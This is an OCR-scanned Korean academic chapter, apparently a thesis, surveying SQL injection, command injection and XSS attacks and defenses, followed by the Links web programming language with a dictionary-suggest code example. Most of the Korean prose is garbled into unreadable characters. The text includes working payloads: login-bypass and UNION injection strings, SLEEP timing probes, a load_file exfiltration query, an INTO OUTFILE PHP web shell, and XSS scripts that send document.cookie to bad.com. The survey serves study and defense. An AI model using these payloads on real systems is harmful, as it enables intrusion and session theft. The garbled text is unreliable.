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2.1.2. SQL Injection

OWASP Top 10% ofdz} ojn] & &ejxl SQL Injection &4 <&zl A
10d0] A wAw, A3 @e ] A}o]E7} SQL Injectiono] #HFHE wdh
SQL Injection 1998W 1249 Phrack[7]olA A3 A5=HATh Anley[8]el+=
“drop table”l] st o A7} :EStE|o] v}, SQL Injection 549 7 2 <&
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AHEARZE 433 e HolEHlo] el A E = W8 SQLe ©]-&38 HlaL
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ttelzt dlelg o] 27F FxFstar e AW e #Elxt Ak 5% £ 9
wrh AREAE Al S 4 s dEelA SQL TS T3] AASAY &St
A gow APE SQL A= < g Yol Ak g vlolEE il
] SQLE #j4g 5 slrk. [14]
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T7F Eo]9} AdxH SQL Injection®] 213 F ),

| SELECT * FROM users WHERE id=ID password=PWD:

a8 2 4EbA9l SQL Injection OfA]

o] SQL &< Eg &= Ho|d, [1¥ 313 Zo] 29T F Uk o7]A,

A2l where A ofgfle] zlg]o A AT H|ALT| 9]
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Bypass SQL Injection &Ao°] o]Fojd 4 gt} TS vlush= Akl g
F Fel v 34 w8 FUESE & H9 A B =4 AYE FE #A

| SELECT * FROM users WHERE id= ~ OR ‘1’ = 1 -- AND password=foo; |
3 4 Bypass SQL Injection 37 6|

olmf, SQL &< & w [2d 3] &2 Ed 7x2E 7Idsidled 14
5leb #2 Ef7t 7€, ol 299 E Tz vuEslS vl where
A ot Al 2719 Hart o] o= Ag F, Wl QlEEE A Ey 49
of Ao A Ex Fxo] WA o]Fo Al o= Hujo] SQL o] o%rt ¥

AFE AolmE o] SQL Injection &40 APH LS onjsic},
SQL
SELECT FROM WHERE
* users OR
id X 1 1
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| http://www.start.com/board/board.php?number=45

2 6 Error-Based SQL Injection — AAMACl QX ofA]

olwf numolet= IEtvlEel] [ 7TIAH SEAbd oA X3 FHerk A
Jed wolEHola o5 o] HolEuo] ATl ddetA]l Zd AR W
o=l HAAE =9 Zeolth. olu dolgHolx ool o]FofA = kES
8 54 7= HolHE FE5te] doldlnh. ol& #fsix DBMSE o7} 9
HFEA] WmFZEofof ghrt. ofEel Aol d e ol ofd o] Ef o]
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9] o2& &85l AHo] Error-based 3249 EAo|t},
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“and db_name() > 1 --

2 7 Error-Based SQL Injection 272 ofJA]
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SELECT * FROM users WHERE id=" UNION SELECT table_name FROM i
nformation_schema.tables WHERE table_schema=database() limit 0,1 --

121 8 Union-Based SQL Injection 22 d|A]

Out-Of-Band SQL injection® in-band SQL injection®. & A¥}=E gHeld 4=
AU 1 9 FAe £x7 vF =9 o ARESth Ay AdE oE 9
A (httpH DNSE)= &sf deshs 7IMe= di9 gl = 34 7IHolehs
T=olt}. in-band®} TFE A server—Databased= 832 ZAA oz 71X %F Dat
abase”} WHeHS server® 3dFA| 9¥il, ¥3ZA#te] [PE Database XY sk
ol i e S8l dFsk= 4ol in-band$} out-b

A BEFHEAAE B4 BRE o,

MYSQL ARE A
SELECT load_file(CONCAT("\\\\’, (SELECT+@@version),
(SELECT+id), °.", (SELECT+password), ‘., start.com\\test.txt’))
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SELECT * FROM users WHERE id = ° OR (LENGTH(DATABASE())=1 and
SLEEP(5)) -- AND password = foo
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vterst o= Qlth. DBMSviH AIRE A gHE ol AdE FEdH. [19

2] %ol id¢} passworde] 9HE 7|t AdstelA [ 1012 Ze] H
woll SLEEP &5 St 4dshsle o, LENGTH(DATABASE()S] #o]7}
|2t SLEEP $<7F A& =o] g5 AZke] AAyaL, o5 Fal dHeolgH o]

o olge] dol2 FEG F A L,

a9

il

o
o

>

Boolean-Based SQL Injectione SQL #H# &S do]gHo] ~o] dAE3sle] H
28] AR7} trueQlA false S1A19] ofFof we} 38 TR & HAIE
Weksl s AAste VM ow Ayl wel HTTP SH el W&ol WA=
U a2 fA == o] Fd 3R o]y o] oA HoE 7} RERE A

Fdnte ¥4 A%g #5% + 9

S
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Content-Based SQL Injectione AA#H 5 F/AA 404 Ao uz &
2 RE #asit) oE 5o, [ 613 Zo] AAZFe WHErl 459 AlA
Eo] SQL #+9o 2+ SELECT * FROM boards WHERE number=45;%} #Zt}al

oo, [ 1113 #Zo] AZE Addle el wt HAojx e AolE Fa F

Zro] He] AFQl: SELECT * FROM boards WHERE number = 45 AND 1=1;
A1l Hea] AR SELECT * FROM boards WHERE number = 45 AND 1=
2;

12 11 Content-Based Blind SQL Injection =7 oj|A]

SQL
SELECT FROM WHERE
* boards AND

/\
AA

number 45

12 12 Content-Based Blind SQL

Injection EZJ

Response-Based SQL injectione Z, AAL FH¥HE A7V} Q= 45 &
ArZol e FdelA ZA HolA8} olg #Ho|x]e] Aot} & e FHo]
A2k T = S gtol vE HelAE Tl ¥4 AyE Atk

oA E9, [2¥ 13]9 #o] bvF dZ= HuE 53] when A9 27 W
7dell7tw DBMSE| ol2]& ol&3l F&3ttt. oju], DBMS? o|# & o]-&sfoF &}

o PR BAI A% Bl oRsh BASA i, da @Al oR

_‘I’I_



7 dejuE® Tk @,

MYSQL ARE A
CASE WHEN LENGTH(SYSTEM_USER()) > 1 THEN 1 ELSE (SELECT 1
UNION SELECT 2) END

3 13 Response-Based SQL Injection 572 ©ofJA]

71We] Z38kth, SQL injectiong E3) AB FA Aol ALt FAOZ A}
E e

s Qo] AEghe wad 0S 3Ee et 34 )

it

and injection FACE QAR W Aol A28 Wl Fs AL I

= 4 3 "k

i

= Eo], MYSQL A9 3 7] @Adro] &&¥o] da(file_priv=Y), A
4 3d<l mt.enfel secure-file-priv7h H|&A St a1, 2% 29 MYSQL
Aol 2271 7hsd deaE 27y ) Mujs FRo] A3t 7hgoid, (29
1417} #o] SELECT %3] Z#& /var/www/bad/ HEEZ =2 2Y 4 3l

UNION SELECT 1, “<?php system($GET['c’]); ?>;” INTO OUTFILE */var/
www/bad/info.php”;

2 14 SQL Injectiong 0] 835t Command Injection 572 ofA]

SQL injection®] OS command injection &Z3 AAE 24 Atz W3
HAE 7199¢l Accelion®] FTA(File Transfer Appliance) A|Zd|o] FHok#d &2
o] Atk AL thite] ¥ FTAE t&% oY dAFol AH&H= EAE A 20
e EFAo)A N Accellion?] e Zglo]= Fel= HhalH of A

[}
Ad AbgEth 1 23 F8E9A9 Accellion.ZHE FAAE Fotos = o}
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7197t Al Abaz JAdE e

o

Zolth. FAAE o] FTAe o]n|
ZA3= SQL Injection FH M-S o]&3l sftp_account_edit.php Yol ojsh
A A3s 8953 F dHolgHolzo A A ALY = 71E AARH. O ¥
Accellion?] f+¥€2/E]9l admin.ple] 2 3= o] eval ¢ 4] oauth.apiol] 7]5F]

A} o]% OS command S T3 TAAIF Hste deleo] A HH S A

3l FTAS] MYSQL Hlolg o] oA ARG 7hedh v 555 53 html ¥
ofxJell i A3} wWEl HolH (Y ID, 4%, Y olF, 2= H FAPE

vt 57 gds et [16]

command injection®] WASHH HA commandE A PA|7]= A o= A 0]
Aol dst dldsls v AWAdA Y dds 5 4 9tk olE F3 WA
Al ='LS GH s AY Al AR AW Ul 838 AR §F, S A|2Hd O

g #48 9=, botneto]y cryptominigs 913 AlAFOR AT 4 9

o] & WXx|37] 9& OS command 23S HA3IsE] OS command tAl A
TylE] 9] ol B E] ARES A|gslojol st} I I X E3SHAl OS commandE
Abgslojol o wj= Ad ASHS root7} ofd AlgkE Aoz HAHE user=

Aystel v)s)g Hiskstolo} Bk,

A ofE Al Ao’ command injectione] FHoFgh e 747 thE R
o} 2t} [17] old 55 AT wie Ho de AAd 3 Folste ARE
shofof g,

I 2 o] command injectiono] F]oFst gk

ool [#F %

Java System.* (£3] System.runtime <), Runtime.exec()

C/C++ | system(), exec(), ShellExecute()

exec(), eval(), os.system(), os.popen(), subprocess.popen(),

Python
subprocess.call()

Perl open(), sysopen(), system(), glob()
exec(), system(), passthru(), popen(), rquire(), include(), eval(),

php

preg_replace(), shell_exec(), proc_open(), eval()

_13_



2.1.2.4. SQL Injection ¥4 <] ol

SQL Injectiong Woldl7] ¢a Z2Z13o] 9J8e SQL It Heg Hg
stojoF gk SQL Feldl A ZeupgEi Elol el ¢ iterals) T SQL T (s
yntactics)®| 2k o2 F HINY FE 9 AYAE YERAT 1 SQL Inject
ion 45 Wolstr] f%k ofolrol= 37HA = AT 5 3

f
:é
1}
)
2
ins
i)

o
ol
~
2

>
Do
oo
2
o,
inss
i)

< escape s+ A
ojty, a2y} o] W2 tE o] Setho] ulE] FHeFslal, B SQL Injection?l]

2482 o gl

A WA escapeE 3

T WA, deny listE 9 ¥ FEYLS ezl 1= Weld 719=E A
g8l dHEe BE e Aot 2y QRS FFe] 4l wnlt} deny li

H N
st2 YHlolE aof ghth= whalo] EA) g

kA2 postive validation> AP 5QlE e vhS & &3k Wyoltt. w7l
Haste Falof A vE] WHEHES prepared 3l & ol vk FAdsH]
Ha &4 Agry olafstr] drk. AEAIE v BE SQL Z=E BYE o
= "W WEE Ao ddsties v od s AdS AREsHH AREA}

Hal AAgle] dolguol 2o =g}l HolHE TR 4= QA ") o9
So] FAA7} userIDE Y4HE W jane’ or ‘17 = ‘1 I o] gHsH s WA
Fotd Adge A o=rF AR &g AA AL (ane” or ‘10 = ‘DI

aYE RS A ol F St

E e ZRAAS A B el Atk A durdow AA Y
oA e @ AEOo v WMESEE ) MRS AMgs SQL Be A4

A} prepared ¥ WHET AF TR Aol AL 4G TaAAd S
QL 7=7h Aol of HolHulol~ AAe] A thg ol ZelAcldelA 55

o= Aot} o] F HMHE SQL Injection WA 5 a3E 722 HA3)
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[kl

| =5 prepared HHEI A AH

4 SQL A g ok Frh.

%
%
filo
2
)
:<I>L_1/
>
>,
ofo
:?L_',
o]
o
ot
v
w
O
=
fols
o}-ﬂ i\
>

Y prepared statement AF8S §3 SQL Injection &24<2] Woj7l &
SRR, o[ LR e] A4 9%k F2holu} prepared statement AR
of &% = Fxo Hid Skt &2 sl dsty] ZtUEE oy wo] EA4
st} [18]

SQL Aol AAY vpRl=E MEE ARG
column®| o|F GoAME AFEE = f1& 5 Atk oA AFeAME dE Fad
A A ALAE F3 BT 5 vk HolEolY column®] ©]&°] AME
Hlo]Eolt column ©]&F

of Wjgetel PEHA @S AEA Yol AelA LUH FES Folgoh

_|>i
=
=
)
=
o
=
2,
o,
i)
)
=
=
e
M
f
o
do
fol
&

rot

R

=
54 249e o ogHE @ b AFL BE F 9o o 24U =7
=

ol ok M3t AARE injections 2 7hsA ol e AFE TEAIAE
I 22 APT Abgoll Fofeliof gt RbeF W3te API AREo] old& Al o]
g B Zelg e S53td oo A e AR SaEEA Al AFaoF &

®

SQL Injection 345 €slst7] st o8 wo] w7ty FL ofgle} o] A+
7} & s Qi
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AMNESIA[19]+= =9 7]¥F HwWS AFE8] dio]gHo] oA B F27}
AaE 7] Hel gxgt}. A S AL o] ZAlo] Ao & HAEE =
= U4 A 2dS AFor FHI HElY A dASE HAYNS F 88k,

o2

=
ol of= Aol AwtA el AYAETL AL AosFES AL &

FreheA opdAe W@ e Fn FRA

fljo

ol AbgAtel MY ¢lol 9 $§ TRIAL BESE Ly

HEE 24 (9 4, 44 24 2 AR Aod 215 £ske] 13y

ol2 4 SQL Injection &24& &3}sl7] 93k Wo wWAYZo] =A84 1, SQ
L Injection ol E s /A= ASar MES 52 7)o @3k F3e 1

of & UAAA Z= Aol gk A7t Fopdth.[12]

AbgA W BotS & Garfinkel[23]8 definitive surveyS Al3-3t= ¥hd
Whitten[24]8 Wash®] mental 223} E3] HSE ojwd ZF}o]AE(PGP 5.0)

o X = T2 |53kt

~

|

)

ol

g e 27 NBE

Sy

Chiasson[25]2 53] H|ZWe AAed THS £t Herley[26]= AHEA



7F BeE 2S FeHor AFske ool el Awetar, dido] AEsis o
froll dlslA = Dhamijal27]15 #x=T 4 v} Jakobsson[28]2 ¥ article
59 R85 AFstal, security indicatorsel]l Wa]A+= Google Chrome HTTP
S indicatordll W3] Felt[29], ®¥tY He}$-A = Amrutkar[30], A}o]E ID 2l
2 x=9} HTTPS ¢33t ¥ thsir]+= Biddle[31], trusted patholl W3+ A

N Yel32]9F Zhoul33]olA &13 4= 3]

AEAE o8 AGHE Welss] s AuAT 5 eolnelelE ol gt
of TRaWG AYE FuE o] BN 57t Lol AFsyel Ak, Zx

Ty dele] AAIR olefd FHeFHE Wl F A=Al tiE] dobE deA

(|

2.1.3. XSS (Cross-Site Script)
g o =g Aol Abgo] Z7}se wel XSS FHeFde b dunkEol FHeky

ut

F stz #Ach 53] XSS B4 e wek Y v RE Aswe @
Aol ks A wow HA FAT 4 Y AT w 1 gl F7] WE

]

XSS FHeFdol W3k 7l 2= CERT advisory[35]o14¢] Aeldl o]o] Garcia-
Alfaro[361¢] surveys &3l XSS &49 WS AF Ay 24 Aoy 4E
FA 3 A s def o] 9l

s
X

& wro] ASk F Noxes[37]% Al ~AYE :E=o] Aol off] e Felol
o

HEE JHeR dtel 9 254 AL Bil £ 4 A

e
m
Ay

=¥
e

e mE AMgstel HTML 91=9 AAY £ fA40R FA47} N# T

o]

r1r

Aol Eol otelds) ~AYEA FAHE AL PAT F e AW

ogahs AS WA AeAe] P $E3S aRHor wsh

»

A

=
=

e

E]

il
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Kern[39]ell4] XSS F ko] oj@A dAst=A2 2 §) &8 ZT=a3 &
ZESO] A olF S¥shs Aol ofH% ool widh Jfaek o7k WA
2 3 45t7] 930 Googleol Al ke X EgJo] AA Felo] gt E2S 3to}

2 4 Q. ol A Eo] AA ¥l FH EHX= XSS W19 7heAdS

WeinBerger[40]< € #HZ3 T dg o] tisk #d A9 HTML, JavaS
cript, URIs®} Cascading Style Sheets®] ™3} separate 34 E ¥E3H3E input s
anitization®] wAlo] gk v A S g1st 4 Ut} olo] itk A LS Zal

ewski[41]9] AL Faf g 4 9o}, [12]

9 cfZelAolde] FEHH AolES A4 FAs ] R ANE AAE A
o oA g hge] mol

gl o] ALgAe] HetgAolA] AAPES APt e ol FAE A

rr
o
)
o
ol
:?L_‘,

o] XSS &4 A& olsisty] falAd= § oNZeAel Y AHA QT W
Hell izl olsistedof sh=dl, U ofEg Aol AMEAE Do} MEREE &
3 Alde Felgth A9 2l EFubar v 4] o Zg Aol Aol ARgAtl Al 7]
2l k= AL $he dEste 1 o] FEE AREAYL DO HIERHEE )
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A ot o TA1E B AY AolE9] /5 o]§F + A Ak o] 7]

= AbgAte 9 AClES AAsFE Just @A glo} 9 AelEdAE o 7

71 olg3l ALgAel 4uE FHT F Ak XSS FAL B AgAe] A
4

g FEeh o] HEAY BE AL H AN dsste ufe 77 @

rl

1

)
(o]

|AE Zo| 4] A& += Client-Side Script Aoz AAEH I=F5 ALEAF

=
Ho Fu o] mEst FeholdE PHFHel ujw Aol neks

2
oF
2
2

XSS FAL AA tht Zo] A AR BRI

2.1.3.1. Stored(A%) XSS

1 Al §39 XSS FACE BASIL MY A9UAE 43 Be
AgA A GFL AL FAITh ANRT Pol AgAT F& AFFE 7]

ol = sl del A i FEol AR HE Uil ofd AAdHE A

A

o,
)
2
2
o
2
olff
o
)

~
>
ofo
D)
N
S
X
>
(i
o
Gl
o)
=
4
e
o
ol
rlr
A
S

RETA
o

)

SEOlAEE AW gA2E HUa, AHE SHolJdERRYH B2 gis
=

2 53 doleuol g duolEdth ojuf el Hel AAHES ALY

Ex SFoAEdA ARyHAR, AAHES MBS do]EjH|o] el A E .
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1. &4 script7}h A 0| A
HIXNE 7|2 e 5.

server

—

2. \FERH |

Mo

client
(browser)

3. &4 script M &

a2 15 Stored XSS 54 5.&

F oo, o ANEE BF e ASA AT F s @ AN

2~APEZL AgArh[12]o] =3 Fe] FALR A4 FAlel dig BepeA o

Here is a picture of my dog <img id="mydogpig” src="“dog.jpg”><scrip
t>document.getElementByld(“mydogpic”).src="http://bad.com/dog.jpg?ar

gl=" + document.cookie</script>

T2 16 Stored XSS 7 oA

Stored xss E4-& ANRI ol AHgATE F& el AAolA 2AYUE
o disl 2HAE A & FAAA FE BT dwryoem |

A=)
2 JHZ2 S EY. Burp suite®t £ 1 AGH 29Y =TE AR 9]
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23+ stored xss@ BAE APt
& 22 9l HolE 7l fEaAolMe] Aale] AoE 2= g wE At &
HolEl7l elZe Aol e Stor YElE RE A4S HAESE AL ol
= 7 Atk [44]

B
%9,
By
offl
o
fru
huj
[
(m
=)
&
of
)
_>|i
)
2
ol 2

| S35t Y8 <script>2te] Aol JavaScript</script>

T3 17 A¥AQl Stored XSS I ofA]

2.1.3.2. Reflected(RFAH) XSS
Reflected XSS &4 Stored 43 72 dgl=2 #EshA|nk, dlojg o]~

of AYEA R ANHoR NNE FA BEE AX gvhs A ol
o] gtk 4 ohFeAIM ~IYES AP @, URLY WS FR3t g
o] 2AYE ;EE Qea AMol AEH 4 A AANE TP S0

] 2
A A wrgE = FAol. [43]

AM7k HTTP 2314 4% dol8g ¢a HTT
ARt ALGATL AR ) o EAN M by AnE AFHEE FHu] o3

o] thAl ylafzfell Al WbALEo] 4] Bahg-Aolx At [45]

=3
oo
ol
=2
Au)
>
[-411
o2
ot
)
ok

F2 AEHE ANA T4 gAe A AR A4 el oy

el AL8x7 URLS 2eeles advh

[
[
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[d
il

M

5
e
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=
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i
ut
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(1
09:
ol
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>

(1

)

ot
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o
(m

to

i

)

e

i)

ot

sk
=2
>

DY

il
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1. 34 scriptZt B 7 HTML AHIX &

e

dlient 2. 2% soript7h Q¥ B8 L
(browser) 3. &4 script?t 20t

4. 34 script7t 22t0[AEO A M

o

21 18 Reflected XSS A

=
a

File-not-found: filepath-requested

O3 19 Reflected XSS 524 ofA| - U7 ¥HESHH ATHE

[28 211+ reflected xss FAAA AMES = 2AHESS o AJo|t}, ALE-2}7}
A2 7F Alofsh= AlolE www.start.com o.& U € A WHEslal
AFOlE www.good.com 7} [Z13 19]¢} o] wj7f] Hz3E AT HE

I e o dojA2 drbAQl file-not-dound QFoll &H&thaL 7Hg 3t

o

o
o

o

o o
. ol

Our favorite site for deals is www.good.com: <a href="http://www.good.
com/
<script>document.location="http://bad.com/dog.jpg?argl="+document.c
ookie;</scrip>’ Click here </a>

= 20 Reflected XSS 54 oA] - HTML o}

www.start.com ©| [1¥H 20]¥ #& HAEE ¥35t= HTML 3#dS A&+

il
|
)
QL
(g
i
O%,
r

v
2
rlo
=
o

st <a> href 542 event-driveno.= Y=
E2Z % URLAA, =dQl 5o #4442 3d =2

ANk o] 7] ARERP7L EAS AlelEe] HaE FEla)

st [19 2119 22 def#te] BepeA7E g HTML 892E

&=
HEZF s e o] HAEx 0 AR A sy s o] AbeA Bneke-A



of Htgso] dyy = o APro] HeA7 Rt AR Y9 &Y
¢1¢l www.good.comel] th3dt AF&2} 712 w7l MR bad.comd] Euji B

2t9-4 & bad.como.Z g st}

==

File-not-found: <script>document.location="http://bad.com/dog.jpg?arg

1=" + document.cookie; </script>

73 21 Reflected XSS 22 oA| - Belox7} agjaat HTML ElAE

2.1.3.3. DOM-Based XSS
DOM based XSS &2 DOM (Document Object Model) 7]HF A Z 2~ A}o]
E 2~ Yyl A2, Storedtt Reflected WA 3} FAS] Hojxgk Ad) A B

294 DOM #74< AHgsl A7t ohd FeheldES FAsE Zlo] S0l

DOME AA A9 245 AAz T8 HeleAds Adue 44 &

2
Hal w70 AnE ol FooldE & AupaARE nekgAe) DO

== AA e o)X EgHE ALEFe] HAA
U Z2 dolge A FAR] AW R dAFsts o] stk ) ol

giAlold o] HoFl S o83l AT oM RAHE =T MY 59 1S 3

=



S5t AHgAe] nekeA cholA FeheldE & 2aYE mEd] o8 AqH

O 34xPT 34 A3 EJE 25t URL T4

@ AHEAPPE slid URL 2ol AMHolA] Request (324 AIPEZF AYH
HTML o A} #9] @ 8% B322 HbeA9 DOMo| A%gstil 524 A
THEZF ZAE|O|QUA] A2 ARE

® AB]7} Request= Response

@ AREALY] B2feAfofA Responsez 2 HTML ZAE A2|st@A DOM
of AFgH 54 ATHE Asfor ZAXA ALEA FE S

oo
r_>1|

1 22 DOM-Based XSS 52

A7 A &-8=o] URLe 221 #2 fragment identifier(F-- 2E2H=
2 a2 ZA o] e F&& et derd o s URLS protocol, domain na
me, path 37H¢] F£o= 4% =Hl, 7] path FZolA vi7] ¥b7F F&8

iV

AEA7E 37| vt vl M4 URLS S8 gaze] 4 Aus A
g o A}E% =Y URL £FEA? 7|8 Holl 552 8% key-value %2
2 dad, ogA ddw HRE HTTP GET 84S 53 Ff¥th

T AR i Ageke e 98 sk, HTML AlolA] el &
S Fxek= d ARgEnh vkeF HTML so]#] Wiel id 47 gtel AdalA sl
I 39 id $4%s 7heliuw Hepg-AoA URLE =59 o o7}
Abgor A% Hof HTML o)A el ald id £4d71 HAo = el

o
i
o

¥2,

dF E°, [2¥ 6] 22 URLe|] = wf [Z¥ 23]3 #o] 4% -

o ARg7E (29 2319 HAE Y5, BEke-A7) Y 23S Ao

2
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https://start.com/board.php#number=<img src=x onerror=<372 scrip

t>>
T2 23 DOM-Based XSS Z7 ofJA]
o] i AHEAE Hk-A 9 URLAA &=z WA enter 7|5 FEU)
W Ho] A= YA 2EHXA] g3 HEp-AE HolXE Al A ET 2T E )

BEA ARt A GBS 1SFoEH AEHAT, HITP S3NAE 4%
4 grol B Zel A HAY 5 girk,

HTTPE AR&3ll URL ¥A5 webd we] dAl= Al dA= vYs & dvh =
go]AEVE URL €85 & #4438 A48 AHE Fotst ¥ URLS request
= Auel Btk M= URLY vA F25 4 243 FxHs AAE
otgh ¥ AR WS Feho]AdEC] responsedtth. ©] responseE FEFOIAE
7b s AE ol AlE Fast=T, o7]A ZEte|AET} responses AT o
DOM= A3t} o] # A 44" DOMO]

# AHeE

&2

A o] HTTP LA AEE xR

t o
UE JE o835t xss 349 &83= Z o] dom-based xss &4 WH

o

dom based xss &2 oAlo|t}.[46]

A ot Ze d Ao A http://www.test.com/page.html?name=Joe ¢
URLS http://www.test.com/page.html#name=<script &4 TE>0 = WH7A3s}
o] script 34 o] HTTP 84 AFHA FE= sto] AW 9o HQF 4

gol AeA FEF s ok,

2.1.3.4. XSS A9 Hoj

tag filtering, evasive encoding, input sanitization
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XSS FH ok Hwojo] FH HAl= § S8 Tzao] ARgAte] EH3He HTML
AHE g AT} TAlo ofogHel AaYHE ZHUXE 383K &= Ao
t}.[47]

= <script>E Ad AYVAEE 353X ¥l &ltscript&gtibs AW HHAER
[e=]
=

3;cript&#x3E;7ol tjd] A A=
Aelstz] e Aarst GAE AREE U

njsg e = Qv [ onmousover ¢} S 1 @ o|HlE &4 AA, conten
t validation, output escaping= &3l dlo]y Al A&l ool QA4

S AAsIE ZEAM 20|tk [12][48]1[49]

o] 714 AF&H = Content Security Policy[50]e] 7]8ta]l XSS Hlojol Ag¥
t}. Ajax Hoto] tisiA+= Hoffman[51], AjaxolA] AFg¥+= XMLHttpRequest
of talA+= http://www.we.org/TR/XMLHttpRequest/olA o ApAlgE R E
golst 4= 9ltl. JSON(JavaScript Object Notation)[52]S UuFA o2 Ajaxel
Al XML t2l A8-# el JSONPSF CORSE =wQI7t Alshs ¢hshat

o

, &4, Javascript, CSS, URL &)ol wa} AlgE 4= (&= dolg o
sl &nlE 99 AgE st Aotk = JHE HS Al postivedt dtolE
g 2E W] 58 o] &35t dHEk HAE5S st Aot addE B of&
]

Aol del = A gkl SFEA7E 283 die glornw s HolE ol s}



A AEE ZHzt e HAl o g Y Ho|XE %311, Javascript, activex,
t HXZHE AREsl7] wo ol& §Ast= A

o o mE A B fole AAA WA FEow nES ARs

i
)
>
oy
N
N
_ﬁ i
ld
|z
i)
o
2
rO

1A% HzEZ Besh(3] ol A e BAsHCIdE HehA
ezl AHE 5+ g dolHE Baslof i,

2.2. Links

UAS T2 2ol T stuQl Linkse SEholAE AlF, AW AlS 2 4
olg o]z ATl gk AAAE xHAsE AHowm FAstE dojolnt[563]

& 5ol WAl §] A= § BEAet 22 STo|dE AT, A
s At olEgAeld A, dHelEHols MuAas oes WA= A
T ToE A olYd ATES AHES] fleld TR = Javadl Py
thontt 22 A& o 7§ AbEsfof st oA oy Qo= 2Ade As 3t
g Hlo] =7F dAst=A] sk A2 ol do|BE Hehg-Au HolEH|
olxe] IEVF FF FiA o dEiglel] AAHo ) ofZeAlelds HH ILst
] oA vt=s o] oEws ) AlzgelA s EdAg F-E
Linksi= Bekg-A, A8, Wd= A ASs 2
A ooy~ BEUXE 7FAAZIY), Linksys B#b9-Aol A A& % += JavaScriptet
L o= Hgso] sy =Ho] sf4q571} OCa

mle 3] AAdH. o] BE =+ Links #AAde s T8 dusA 449

i

T Xgshe JdolE Aeger
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ES ] AAskes AR s £AE AT

t}S 4+ Links 9 A 239 F40]t)
http://examples.Links—lang.org:8080/
o] oA 2 1:MI F=E E3| Links 1ojo] 7|2 FET} o] =FA T8

A BE U hA e SR Bl dsns

o
+

Dictionary suggest

Search for definitions

Search: |premium

Click a definition to edit it.
premiums of Premium
premium Something offered or given for the loan of money; bonus; -- sometimes synonymous
with interest, but generally signifying a sum in addition to the capital.
premium A sum of money paid to underwriters for insurance, or for undertaking to indemnify for
losses of any kind.
premium A sum in advance of, or in addition to, the nominal or par value of anything; as, gold
was at a premium; he sold his stock at a premium.
premium A reward or recompense; a prize to be won by being before another, or others, in a
competition; reward or prize to be adjudged; a bounty; as, a premium for good
behavior or scholarship, for discoveries, etc.

New definition
Word: |

Meaning:

| Add |

I3 24 Links AP =2 73

A A8 el Aste ol gUs $§ ZEade AY AN A
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o] offEglAo]HAME Eo|AEA RE 7] Ydeo] Wal=oi o] EH|
ol %3 B F3sty TEREQEYA AL AU olEsHy] wio Linkse int
eractive 7153 Links X213 0] Zglo]AdES}L M I+ Falshs WHS g9l

& o AT [54]

var defsTable =
table "definitions"
with (id:String, word:String, meaning:String)
where id readonly from database "dictionary";
fun newDef(def) server {
insert defsTable values (word, meaning) [def]
}
fun updateDef(def) server {
update (d <-- defsTable)
where (d.id == def.id)
set (meaning=def.meaning)
}
fun deleteDef(id) server {
delete (def <-- defsTable)
where (def.id == id)
}
fun completions(s) server {
if (s ==")11
else {
query [10] {
for (def <-- defsTable)
where (def.word =~ /*{s}.*/)
orderby (def.word)
[def]

}

fun redraw(xml, defld) {
domReplaceChildren(xml, getNodeByld("def:" ** defld))
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}
mutual{
fun editDef(def) client {
redraw(
<div class="edit-def">
<form method="POST"
l:onsubmit="{
var def = (id=def.id, word=w, meaning=m): updateDef(def):
redraw(formatDef(def), def.id)}">
<table>
<tr><td class="label-col">Entry:</td><td>
<span class="btw">editing</span>
<input l:'name="w" value="{def.word}"/></td></tr>
<tr><td class="label-col">Meaning:</td><td>
<textarea l'name="m" rows="5" cols="80">{
stringToXml(def.meaning)}</textarea></td></tr>
</table>
<button l:onclick="{deleteDef(def.id); redraw([], def.id)}"
style="float:right" type="button">Delete</button>
<button type="submit">Update</button>
<button l:onclick="{redraw(formatDef(def), def.id)}" type="button">
Cancel</button>
</form>
</div>,
def.id)
}
fun formatDef(def) {
<span l:onclick="{editDef(def)}">{stringToXml(def.meaning)}</span>

}

fun format(defs) {
<div class="section">
<div class="tip">Click a definition to edit it.</div>
<table>
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{ for (def <- defs)
<tr class="entry">
<td class="label-col entry-word">{stringToXml(def.word)}</td>
<td class="def" id="def:{def.id}">
{formatDef(def)}
</td>
</tr>
}
</table>
</div>
}
fun suggest(s) client {
domReplaceChildren(format(completions(s)), getNodeByld("suggestions
"))
}

fun addForm(manager) {
<form l:onsubmit="{manager!NewDef((word=w, meaning=m))}">
<table>
<tr><td class="label-col">Word:</td><td>
<input type="text" l:name="w"/></td></tr>
<tr><td>Meaning:</td><td>
<textarea l:name="m" rows="5" cols="80"/></td></tr>
<tr><td><button type="submit">Add</button></td></tr>
</table>
</form>
}
fun main() {
var manager = spawnClient {
fun receiver(s) {
receive {
case Suggest(s) -> suggest(s); receiver(s)
case NewDef(def) ->
newDef(def):
domReplaceChildren(addForm(self()), getNodeByld("add"));
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if (s <> ™) suggest(s) else (); receiver(s)

}

receiver(™)

% 25 Links ofA] - AP =2 T4

o

¢] FE+= Links Dictionary Suggestion #g<¢] FEo|t}, #Holx] 2= &
FE ®xdA main0o] ALty 2y =& At AEAE M manager?l
upelg ghry, & Hepe-A o AX® HTML 4% wdsh=d o 7)o AL
2L sl wet SEH= o/WlE Syt E3ET. oHlE A7l F el
AA AgAke] 2F 71 8ol A Lonkeyup XA side effectol] dls] <diret
o 7] Al Suggest HWIAAIE @Al ANF @2E7F x93k FElE manager X
ZHAEZ A o374 el | e2 BHL e22 FAE HIAAE eloE HEA

H IT2AMAE HWHS o sit}, Suggest WA AS 42413 manager EEA| A~

[

A 28 suggestions 7FA LI viewE QUo|EFY] ¢ suggest T
T=% H o 72 dEE A8 918l tail positionol| A ZA dAEY &

2 3E3

5

suggest T completions TS =3 dHolHE 7FA 3, format &
2 =3 &g Holg e A3E 283t completes EFE server 7| Y=
labeled HA L 7)ol A ZFE}o]AE contextollA ZEE 7] wFo| completes

o gt s&& AW tigt control A%(rpc cal)o] A2 o] F A Il return

o

%ol client 7199 =2 labeled ¥ format $t+E Alg w Z&}o|AE A contro
I Aol Zad. o3k qFlo] wet o] oA]¢] lionkeyup #E219t 2 Lin
ks oJHIE d=de & F71 S T A8 o0& 22420 wAA
£ Bt I olfre EE W=7t st ofHE WP = QoA A
i, JavaScript 7V A1 BE A& ARESEY] wiitol] Beke-A el ot
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U

7F =AUHE AgE= As dshr] "Wt single F7F ZEAAE A& g

Ex old oMlE A7t gxd w7x] dE5H A2 manager =2
A=) di7]gel A di7]stt}. o] ol 4= 3 prefixell tidh AlotS 7hA
F 3 prefixell tigh AtE 7= AV AREHE AS HHE  QdTh

definitions ¥31¥ editview ¥57} SFET. updatel} deleted Fjshu
PN

S

o] dl

updateDeft} deleteDefE A H oA ZZE3 definitiong 3iE3dt= E A3
'S ZFolAdEd A redraw IS TE3] viewsS Hulo]ESt}, wpx|uto g
